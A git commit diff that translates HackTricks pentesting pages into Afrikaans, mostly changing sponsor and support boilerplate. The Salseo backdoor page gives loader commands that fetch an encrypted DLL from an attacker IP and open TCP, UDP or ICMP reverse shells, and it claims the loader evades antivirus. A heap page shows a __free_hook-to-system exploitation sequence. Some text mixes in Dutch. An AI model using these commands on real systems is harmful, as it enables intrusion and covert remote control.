Translated ['README.md', 'backdoors/salseo.md', 'binary-exploitation/arb

This commit is contained in:
Translator 2024-07-18 17:42:02 +00:00
parent 489b30b189
commit fecfdb3c39
112 changed files with 4734 additions and 3884 deletions

BIN
.gitbook/assets/arte.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 756 KiB

BIN
.gitbook/assets/grte.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 879 KiB

View file

@ -8,23 +8,23 @@ _Hacktricks logo's & bewegingsontwerp deur_ [_@ppiernacho_](https://www.instagra
**Welkom by die wiki waar jy elke haktruc/tegniek/enigiets sal vind wat ek geleer het van CTF's, werklike toepassings, navorsing en nuus.**
{% endhint %}
Om te begin, volg hierdie bladsy waar jy die **tipiese vloei** sal vind wat **jy moet volg wanneer jy pentesting** op een of meer **masjiene:**
Om te begin, volg hierdie bladsy waar jy die **tipiese vloei** sal vind wat **jy moet volg wanneer jy pentesting** op een of meer **toestelle uitvoer:**
{% content-ref url="generic-methodologies-and-resources/pentesting-methodology.md" %}
[pentesting-methodology.md](generic-methodologies-and-resources/pentesting-methodology.md)
{% endcontent-ref %}
## Korporatiewe Borgsponsors
## Korporatiewe Borgskappe
### [STM Cyber](https://www.stmcyber.com)
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
[**STM Cyber**](https://www.stmcyber.com) is 'n uitstekende siberbeveiligingsmaatskappy wie se leuse is **HACK THE UNHACKABLE**. Hulle doen hul eie navorsing en ontwikkel hul eie hakgereedskap om **verskeie waardevolle siberbeveiligingsdienste** aan te bied soos pentesting, Rooi spanne en opleiding.
[**STM Cyber**](https://www.stmcyber.com) is 'n uitstekende sibersekuriteitsmaatskappy waarvan die leuse is **HACK THE UNHACKABLE**. Hulle doen hul eie navorsing en ontwikkel hul eie hakgereedskap om **verskeie waardevolle sibersekuriteitsdienste** aan te bied soos pentesting, Rooi spanne en opleiding.
Jy kan hul **blog** besoek by [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
**STM Cyber** ondersteun ook siberbeveiliging oopbronprojekte soos HackTricks :)
**STM Cyber** ondersteun ook sibersekuriteit oopbronprojekte soos HackTricks :)
***
@ -32,7 +32,7 @@ Jy kan hul **blog** besoek by [**https://blog.stmcyber.com**](https://blog.stmcy
<figure><img src=".gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com) is die mees relevante siberbeveiliginggebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n kookpunt vir tegnologie- en siberbeveiligingsprofessionals in elke dissipline.
[**RootedCON**](https://www.rootedcon.com) is die mees relevante sibersekuriteitsgebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n kookpunt vir tegnologie- en sibersekuriteitsprofessionals in elke dissipline.
{% embed url="https://www.rootedcon.com/" %}
@ -42,7 +42,7 @@ Jy kan hul **blog** besoek by [**https://blog.stmcyber.com**](https://blog.stmcy
<figure><img src=".gitbook/assets/image (47).png" alt=""><figcaption></figcaption></figure>
**Intigriti** is die **#1** etiese hak- en **foutbeloningsplatform van Europa.**
**Intigriti** is die **#1** etiese hak- en **foutbeloningsplatform in Europa.**
**Foutbeloningswenk**: **teken aan** by **Intigriti**, 'n premium **foutbeloningsplatform geskep deur hackers, vir hackers**! Sluit vandag by ons aan by [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) en begin om belonings tot **$100,000** te verdien!
@ -55,7 +55,7 @@ Jy kan hul **blog** besoek by [**https://blog.stmcyber.com**](https://blog.stmcy
<figure><img src=".gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik werkstrome te bou en te **outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik werkstrome te bou en te **outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.
Kry Vandag Toegang:
@ -69,9 +69,9 @@ Kry Vandag Toegang:
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en foutbeloningsjagters te kommunikeer!
* **Hakinsigte:** Skakel in met inhoud wat die opwinding en uitdagings van hak in detail ondersoek
* **Realtydse Haknuus:** Bly op hoogte van die vinnige hakwêreld deur middel van realtydse nuus en insigte
* **Nuutste Aankondigings:** Bly ingelig met die nuutste foutbelonings wat bekendgestel word en belangrike platformopdaterings
* **Hakinsigte:** Raak betrokke by inhoud wat in die opwinding en uitdagings van hakken duik
* **Nuus oor Hack in Werklikheid:** Bly op hoogte van die vinnige tempo van die hakwêreld deur werklike nuus en insigte
* **Nuutste Aankondigings:** Bly ingelig met die nuutste foutbelonings wat bekendgestel word en noodsaaklike platformopdaterings
**Sluit by ons aan op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
@ -81,7 +81,7 @@ Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) be
<figure><img src=".gitbook/assets/image (15) (1).png" alt=""><figcaption></figcaption></figure>
**Onmiddellik beskikbare opstelling vir kwetsbaarheidsevaluering & penetrasietoetsing**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap & kenmerke wat strek van rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd te gee om dieper te graaf, doppe te skiet, en pret te hê.
**Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering en penetrasietoetsing**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap en kenmerke wat gaan van rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing- en uitbuitingsmodules om hulle tyd te gee om dieper te graaf, skulpe te laat pop en pret te hê.
{% embed url="https://pentest-tools.com/" %}
@ -91,9 +91,9 @@ Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) be
<figure><img src=".gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
SerpApi bied vinnige en maklike regstreekse API's aan om **toegang tot soekmasjienresultate** te verkry. Hulle skraap soekmasjiene, hanteer proksi's, los captcha's op, en ontled al die ryk gestruktureerde data vir jou.
SerpApi bied vinnige en maklike regstreekse API's aan om toegang te verkry tot soekengineresultate. Hulle skraap soekengines, hanteer proksi's, los captchas op, en ontled al die ryk gestruktureerde data vir jou.
'n Subskripsie op een van SerpApi se planne sluit toegang tot meer as 50 verskillende API's in vir skraping van verskillende soekmasjiene, insluitend Google, Bing, Baidu, Yahoo, Yandex, en meer.\
'n Subskripsie op een van SerpApi se planne sluit toegang tot meer as 50 verskillende API's in vir skraping van verskillende soekengines, insluitend Google, Bing, Baidu, Yahoo, Yandex, en meer.\
In teenstelling met ander verskaffers, skraap SerpApi nie net organiese resultate nie. SerpApi-respons sluit konsekwent alle advertensies, inline beelde en video's, kennisgrafieke, en ander elemente en kenmerke wat teenwoordig is in die soekresultate.
Huidige SerpApi-klante sluit **Apple, Shopify, en GrubHub** in.\
@ -114,11 +114,11 @@ Jy kan **'n gratis rekening skep** [**hier**](https://serpapi.com/users/sign\_up
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.nl) is 'n professionele siberbeveiligingsmaatskappy gebaseer in **Amsterdam** wat help om besighede **oor die hele wêreld** teen die nuutste siberbeveiligingsdreigings te beskerm deur **aanvallende-siberdienste** met 'n **moderne** benadering te bied.
[**WebSec**](https://websec.nl) is 'n professionele sibersekuriteitsmaatskappy gebaseer in **Amsterdam** wat help om besighede **oor die hele wêreld** teen die nuutste sibersekuriteitsdreigings te beskerm deur **aanvallende-sikuriteitsdienste** met 'n **moderne** benadering te bied.
WebSec is 'n **alles-in-een siberbeveiligingsmaatskappy** wat beteken dat hulle alles doen; Pentesting, **Siber** Ouditse, Bewustheidsopleiding, Hengelkampanjes, Kodeoordrag, Uitbuitontwikkeling, Uitgesourste Sekerheidkundiges en baie meer.
WebSec is 'n **alles-in-een sekuriteitsmaatskappy** wat beteken dat hulle alles doen; Pentesting, **Sikuriteits** Oudit, Bewustheidsopleiding, Hengelkampanjes, Kodeoordrag, Uitbuitontwikkeling, Sikuriteitskundiges Uitbesteding en baie meer.
'n Ander koel ding oor WebSec is dat in teenstelling met die bedryfsgemiddelde WebSec **baie selfversekerd is in hul vaardighede**, tot so 'n mate dat hulle die beste kwaliteitsresultate waarborg, dit staan op hul webwerf "**As ons dit nie kan hak nie, betaal jy dit nie!**". Vir meer inligting kyk na hul [**webwerf**](https://websec.nl/en/) en [**blog**](https://websec.nl/blog**!**
'n Ander koel ding oor WebSec is dat anders as die bedryfsgemiddelde WebSec **baie selfversekerd is in hul vaardighede**, tot so 'n mate dat hulle die beste kwaliteitsresultate waarborg, dit staan op hul webwerf "**As ons dit nie kan hak nie, betaal jy dit nie!**". Vir meer inligting kyk na hul [**webwerf**](https://websec.nl/en/) en [**blog**](https://websec.nl/blog/)!
Bo en behalwe die bogenoemde is WebSec ook 'n **toegewyde ondersteuner van HackTricks.**
@ -127,17 +127,17 @@ Bo en behalwe die bogenoemde is WebSec ook 'n **toegewyde ondersteuner van HackT
<figure><img src=".gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is a **dark-web** fueled search engine that offers **free** functionalities to check if a company or its customers have been **compromised** by **stealer malwares**.
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **steelmalware** **gekompromiteer** is.
Hul primêre doel van WhiteIntel is om rekening-oorneemings en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteel-malware.
Hul primêre doel van WhiteIntel is om rekening-oorneemings en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteelmalware.
Jy kan hul webwerf besoek en hul enjin gratis probeer by:
Jy kan hul webwerf besoek en hul enjin vir **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
## Lisensie & Vrywaring
Kyk na hulle op:
Kyk na hulle in:
{% content-ref url="welcome/hacktricks-values-and-faq.md" %}
[hacktricks-values-and-faq.md](welcome/hacktricks-values-and-faq.md)
@ -148,16 +148,17 @@ Kyk na hulle op:
![HackTricks Github Statistieke](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg "Repobeats analitika beeld")
{% hint style="success" %}
Leer & oefen AWS Hack: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kyk na die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -279,7 +279,7 @@
* [PsExec/Winexec/ScExec](windows-hardening/lateral-movement/psexec-and-winexec.md)
* [SmbExec/ScExec](windows-hardening/lateral-movement/smbexec.md)
* [WinRM](windows-hardening/lateral-movement/winrm.md)
* [WmicExec](windows-hardening/lateral-movement/wmicexec.md)
* [WmiExec](windows-hardening/lateral-movement/wmiexec.md)
* [Pivoting to the Cloud](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements)
* [Stealing Windows Credentials](windows-hardening/stealing-credentials/README.md)
* [Windows Credentials Protections](windows-hardening/stealing-credentials/credentials-protections.md)

View file

@ -1,18 +1,19 @@
# Salseo
{% hint style="success" %}
Leer & oefen AWS-hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Controleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## Kompilering van die bineêre lêers
@ -20,9 +21,9 @@ Laai die bronkode van die github af en kompileer **EvilSalsa** en **SalseoLoader
Kompileer daardie projekte vir die argitektuur van die Windows-boks waar jy hulle gaan gebruik (As die Windows x64 ondersteun, kompileer hulle vir daardie argitekture).
Jy kan die **argitektuur kies** binne Visual Studio in die **linker "Bou" Tab** in **"Platform Teiken".**
Jy kan die argitektuur **kies** binne Visual Studio in die **linker "Bou" Tab** in **"Platform Teiken".**
(\*\*As jy hierdie opsies nie kan vind nie, druk in **"Projek Tab"** en dan in **"\<Projek Naam> Eienskappe"**)
(\*\*As jy nie hierdie opsies kan vind nie, druk in **"Projek Tab"** en dan in **"\<Projek Naam> Eienskappe"**)
![](<../.gitbook/assets/image (132).png>)
@ -40,19 +41,11 @@ python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
```
### Windows
#### Salseo
Salseo is a backdoor that allows an attacker to execute shell commands on a compromised Windows system. It is written in C# and uses a TCP connection for communication. The backdoor can be compiled using Visual Studio or the C# compiler.
To use Salseo, the attacker needs to run the backdoor on the target system. Once the backdoor is running, the attacker can connect to it using a TCP client and send commands to be executed on the compromised system.
Salseo provides a simple and effective way for an attacker to maintain access to a compromised Windows system and execute commands without being detected.
```
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
```
Ok, nou het jy alles wat jy nodig het om al die Salseo-ding uit te voer: die **geënkripteerde EvilDalsa.dll** en die **binêre van SalseoLoader.**
Ok, nou het jy alles wat jy nodig het om al die Salseo ding uit te voer: die **geënkripteerde EvilDalsa.dll** en die **binêre van SalseoLoader.**
**Laai die SalseoLoader.exe binêre na die masjien op. Dit behoort nie deur enige AV opgespoor te word nie...**
@ -60,7 +53,7 @@ Ok, nou het jy alles wat jy nodig het om al die Salseo-ding uit te voer: die **g
### **Kry 'n TCP-omgekeerde dop (laai geënkripteerde dll af deur HTTP)**
Onthou om 'n nc as die omgekeerde dop-luisteraar te begin en 'n HTTP-bediener om die geënkripteerde evilsalsa te dien.
Onthou om 'n nc as die omgekeerde dop luisteraar te begin en 'n HTTP-bediener om die geënkripteerde evilsalsa te dien.
```
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
```
@ -70,11 +63,11 @@ Onthou om 'n nc te begin as die omgekeerde dop luisteraar, en 'n SMB-bediener om
```
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
```
### **Kry 'n ICMP-omgekeerde dop (gekodeerde dll reeds binne die slagoffer)**
### **Kry 'n ICMP omgekeerde dop (geënkripteerde dll reeds binne die slagoffer)**
**Hierdie keer het jy 'n spesiale instrument in die klient nodig om die omgekeerde dop te ontvang. Laai af:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
#### **Deaktiveer ICMP-antwoorde:**
#### **Deaktiveer ICMP Antwoorde:**
```
sysctl -w net.ipv4.icmp_echo_ignore_all=1
@ -121,7 +114,7 @@ Net **sluit** Visual Studio af
Gaan dan na jou **SalseoLoader map** en **voer DllExport\_Configure.bat uit**
Kies **x64** (as jy dit binne 'n x64-boks gaan gebruik, dit was my geval), kies **System.Runtime.InteropServices** (binne **Naamruimte vir DllExport**) en druk **Toepas**
Kies **x64** (as jy dit binne 'n x64-boks gaan gebruik, dit was my geval), kies **System.Runtime.InteropServices** (binne **Namespace vir DllExport**) en druk **Toepas**
![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>)
@ -166,8 +159,6 @@ $env:lport="1337"
$env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main
```
### CMD
### CMD
```
set pass=password
@ -177,16 +168,17 @@ set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main
```
{% hint style="success" %}
Leer & oefen AWS-hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# WWW2Exec - \_\_malloc\_hook & \_\_free\_hook
{% hint style="success" %}
Leer & oefen AWS Hack: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Controleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## **Malloc Hook**
Soos jy kan sien op die [Offisiële GNU-webwerf](https://www.gnu.org/software/libc/manual/html\_node/Hooks-for-Malloc.html), is die veranderlike **`__malloc_hook`** 'n wyser wat wys na die **adres van 'n funksie wat geroep sal word** wanneer `malloc()` geroep word **gestoor in die data-afdeling van die libc-biblioteek**. Daarom, as hierdie adres oorskryf word met 'n **One Gadget** byvoorbeeld en `malloc` word geroep, sal die **One Gadget geroep word**.
Om malloc te roep, is dit moontlik om te wag vir die program om dit te roep of deur **`printf("%10000$c")` te roep** wat te veel bytes toewys en `libc` dwing om hulle in die heap toe te wys.
Om malloc te roep, is dit moontlik om te wag vir die program om dit te roep of deur **`printf("%10000$c")` te roep** wat te veel bytes toewys en `libc` dwing om hulle in die heap toe te ken.
Meer inligting oor One Gadget in:
@ -27,7 +28,7 @@ Meer inligting oor One Gadget in:
{% endcontent-ref %}
{% hint style="warning" %}
Let daarop dat hake **uitgeskakel is vir GLIBC >= 2.34**. Daar is ander tegnieke wat gebruik kan word op moderne GLIBC-weergawes. Sien: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
Let daarop dat hake **uitgeskakel is vir GLIBC >= 2.34**. Daar is ander tegnieke wat op moderne GLIBC-weergawes gebruik kan word. Sien: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
{% endhint %}
## Free Hook
@ -72,10 +73,25 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
* As ons daarin slaag om 'n vinnige stuk van grootte 0x200 op hierdie plek te kry, sal dit moontlik wees om 'n funksie-aanwyser te oorskryf wat uitgevoer sal word
* Hiervoor word 'n nuwe stuk van grootte `0xfc` geskep en die saamgevoegde funksie word twee keer geroep met daardie aanwyser, op hierdie manier verkry ons 'n aanwyser na 'n vrygemaakte stuk van grootte `0xfc*2 = 0x1f8` in die vinnige bin.
* Dan word die wysigingsfunksie in hierdie stuk geroep om die **`fd`**-adres van hierdie vinnige bin te wysig om na die vorige **`__free_hook`**-funksie te wys.
* Dan word 'n stuk met grootte `0x1f8` geskep om uit die vinnige bin die vorige nuttelose stuk te herwin sodat 'n ander stuk met grootte `0x1f8` geskep kan word om 'n vinnige bin-stuk in die **`__free_hook`** te kry wat oorskryf word met die adres van die **`system`**-funksie.
* En uiteindelik word 'n stuk wat die string `/bin/sh\x00` bevat, vrygemaak deur die verwyderingsfunksie te roep, wat die **`__free_hook`**-funksie aanroep wat na system wys met `/bin/sh\x00` as parameter.
* Dan word 'n stuk met grootte `0x1f8` geskep om uit die vinnige bin die vorige nuttelose stuk te herwin sodat 'n ander stuk van grootte `0x1f8` geskep kan word om 'n vinnige bin-stuk in die **`__free_hook`** te kry wat oorskryf is met die adres van die **`system`**-funksie.
* En uiteindelik word 'n stuk wat die string `/bin/sh\x00` bevat, vrygemaak deur die verwyderingsfunksie te roep, wat die **`__free_hook`**-funksie aanroep wat na die stelsel met `/bin/sh\x00` as parameter wys.
## Verwysings
* [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
* [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}

View file

@ -1,26 +1,27 @@
# WWW2Exec - GOT/PLT
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Controleer de [**abonnementsplannen**](https://github.com/sponsors/carlospolop)!
